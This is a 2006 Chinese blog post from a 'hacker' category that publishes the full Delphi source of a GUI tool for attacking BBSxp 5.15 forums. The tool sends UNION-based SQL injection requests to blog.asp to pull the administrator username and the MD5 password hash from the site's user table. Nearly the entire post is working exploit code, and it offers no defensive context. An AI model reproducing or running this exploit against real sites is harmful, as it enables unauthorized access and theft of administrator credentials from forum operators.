        <%ST(A)%>
		<div id="Content_ContentList" class="content-width"><a name="body" accesskey="B" href="#body"></a>
			<div class="pageContent">
					<div style="float:right;width:180px !important;width:auto">
						  <a href="feed.asp?cateID=17" target="_blank" title="订阅所有黑客的日志" accesskey="F"><img border="0" src="images/rss.png" alt="订阅所有黑客的日志" style="margin-bottom:-1px"/> 订阅</a>
						   | <a href="?id=42" title="上一篇日志: ASP最新SQL防注入过滤函数" accesskey=","><img border="0" src="images/Cprevious.gif" alt=""/>上一篇</a> | <a href="?id=44" title="下一篇日志: serv-u的本地提升权限的源代码" accesskey="."><img border="0" src="images/Cnext.gif" alt=""/>下一篇</a>
					</div> 
						   <img src="images/icons/1.gif" style="margin:0px 2px -4px 0px" alt=""/> <strong><a href="default.asp?cateID=17" title="查看所有黑客的日志">黑客</a></strong> </div>
						   <div class="Content">
						   <div class="Content-top"><div class="ContentLeft"></div><div class="ContentRight"></div>
						     <h1 class="ContentTitle"><strong>“BBSxp 5.15”暴库工具源码</strong></h1>
						     <h2 class="ContentAuthor">作者:apple 日期:2006-06-09</h2>
						   </div>
						    <div class="Content-Info">
							  <div class="InfoOther">字体大小: <a href="javascript:SetFont('12px')" accesskey="1">小</a> <a href="javascript:SetFont('14px')" accesskey="2">中</a> <a href="javascript:SetFont('16px')" accesskey="3">大</a></div>
							  <div class="InfoAuthor"><img src="images/weather/hn2_sunny.gif" style="margin:0px 2px -6px 0px" alt=""/><img src="images/weather/hn2_t_sunny.gif" alt=""/> <img src="images/level3.gif" style="margin:0px 2px -1px 0px" alt=""/> 
					              <$EditAndDel$>
							  </div>
							</div>
						  <div id="logPanel" class="Content-body">
					             程序代码<br/>unit Unit1;<br/><br/>interface<br/><br/>uses<br/>Windows, Messages, SysUtils, Variants, Classes, Graphics, Controls, Forms,<br/>Dialogs, IdBaseComponent, IdComponent, IdTCPConnection, IdTCPClient,<br/>IdHTTP, StdCtrls, IdAntiFreezeBase, IdAntiFreeze, WinHTTP, ComCtrls,<br/>ExtCtrls, WinSkinData;<br/><br/>type<br/>TForm1 = class(TForm)<br/>Edit1: TEdit;<br/>Edit2: TEdit;<br/>Edit3: TEdit;<br/>Button1: TButton;<br/>IdHTTP1: TIdHTTP;<br/>WinHTTP1: TWinHTTP;<br/>Label1: TLabel;<br/>Label2: TLabel;<br/>Label3: TLabel;<br/>Bevel1: TBevel;<br/>Button2: TButton;<br/>StatusBar1: TStatusBar;<br/>procedure Button1Click(Sender: TObject);<br/>procedure WinHTTP1Done(Sender: TObject; const ContentType: String;<br/>FileSize: Integer; Stream: TStream);<br/>procedure WinHTTP1HTTPError(Sender: TObject; ErrorCode: Integer;<br/>Stream: TStream);<br/>procedure Button2Click(Sender: TObject);<br/>procedure Edit3Change(Sender: TObject);<br/>private<br/>{ Private declarations }<br/>public<br/>{ Public declarations }<br/>end;<br/><br/>var<br/>Form1: TForm1;<br/><br/>implementation<br/><br/>{$R *.dfm}<br/><br/>procedure TForm1.Button1Click(Sender: TObject);<br/>var<br/>s1:string;<br/>url1,url2:string;<br/>i:integer;<br/>begin<br/>if edit1.Text ='' then<br/>begin<br/>showmessage(' 请输入网址先！');<br/>exit;<br/>end;<br/>url1:=edit1.Text+'blog.asp?id=1%20union%20select%20top%201%201,[username],1,1,1,1,1%20from%20[user]%20where%20membercode=5';<br/>url2:=edit1.Text+'blog.asp?id=1%20union%20select%20top%201%201,[userpass],1,1,1,1,1%20from%20[user]%20where%20membercode=5';<br/>//---------------------------暴账号（idHTTP）-----------------------<br/>try<br/>Form1.Caption :='正在暴取账号......';<br/>s1:=idHTTP1.Get(url1);<br/>if pos('username',s1)&lt;&gt;0 then<br/>begin<br/>i:=pos('username',s1);<br/>s1:=copy(s1,i+9,15); //账号位数不固定，但最长不得超过12位<br/>i:=pos('"&gt;',s1);<br/>s1:=copy(s1,1,i-1); //取得账号<br/>edit2.Text :=s1;<br/>idHTTP1.Disconnect ; //断开连接<br/>end<br/>else<br/>begin<br/>Form1.Caption :='[BBSxp 5.15]暴库工具 ';<br/>showmessage('暴库失败！可能不存在此漏洞！');<br/>idHTTP1.Disconnect ; //断开连接<br/>exit;<br/>end;<br/>except<br/>Form1.Caption :='[BBSxp 5.15]暴库工具 ';<br/>showmessage('网络超时或其他错误！');<br/>idHTTP1.Disconnect ;<br/>exit; //如果错误就退出 ，不继续下面的代码<br/>end;<br/>//----------暴账号完毕-------------<br/>//----如果暴账号成功，那暴密码肯定也成功，则继续下面的代码<br/>//-----------------------------暴密码（WinHTTP）------------------------<br/>Form1.Caption :='正在暴取密码......';<br/>WinHTTP1.URL :=url2;<br/>WinHTTP1.Read;<br/>//-----接 WinHTTP1Done 和 WinHTTP1HTTPError----------<br/>end;<br/><br/>//-------WinHTTP1Done 和 WinHTTP1HTTPError 的代码要一致，因为暴密码一般都是在Error状态下----<br/>procedure TForm1.WinHTTP1Done(Sender: TObject; const ContentType: String;<br/>FileSize: Integer; Stream: TStream);<br/>var<br/>s2:string;<br/>i:integer;<br/>begin<br/>with Stream as TMemoryStream do<br/>begin<br/>SetLength(s2,size);<br/>Stream.Read(s2[1],size);<br/>end;<br/>if pos('username',s2)&lt;&gt;0 then<br/>begin<br/>i:=pos('username',s2);<br/>s2:=copy(s2,i+9,32); //这里为固定的32位MD5加密，可以直接取32个字符即得密码<br/>edit3.Text :=s2;<br/>end;<br/>end;<br/><br/>procedure TForm1.WinHTTP1HTTPError(Sender: TObject; ErrorCode: Integer;<br/>Stream: TStream);<br/>var<br/>s2:string;<br/>i:integer;<br/>begin<br/>with Stream as TMemoryStream do<br/>begin<br/>SetLength(s2,size);<br/>Stream.Read(s2[1],size);<br/>end;<br/>if pos('username',s2)&lt;&gt;0 then<br/>begin<br/>i:=pos('username',s2);<br/>s2:=copy(s2,i+9,32); //这里为固定的32位MD5加密，可以直接取32个字符即得密码<br/>edit3.Text :=s2;<br/>end;<br/><br/>end;<br/><br/>procedure TForm1.Button2Click(Sender: TObject);<br/>begin<br/>close;<br/>end;<br/><br/>procedure TForm1.Edit3Change(Sender: TObject);<br/>begin<br/>Form1.Caption :='[BBSxp 5.15]暴库工具 ';<br/>end;<br/><br/><br/>end.<br/><br/>
							<br/><br/>
						   <br/>
						   </div>
						   <div class="Content-body">
					             
							<img src="images/From.gif" style="margin:0px 2px -4px 0px" alt=""/><strong>文章来自:</strong> <a href="http://www.xoofeng.com/apple/" target="_blank">本站原创</a><br/>
							<img src="images/icon_trackback.gif" style="margin:0px 2px -4px 0px" alt=""/><strong>引用通告地址:</strong> <a href="http://www.xoofeng.com/apple/trackback.asp?tbID=43" target="_blank">http://www.xoofeng.com/apple/trackback.asp?tbID=43</a><br/>
						    <img src="images/tag.gif" style="margin:4px 2px -4px 0px" alt=""/><strong>Tags:</strong> <br/>
						   </div>
						   <div class="Content-bottom"><div class="ContentBLeft"></div><div class="ContentBRight"></div>评论: 0</a> | 引用: 0 | 查看次数: <$log_ViewNums$>
			</div></div></div>
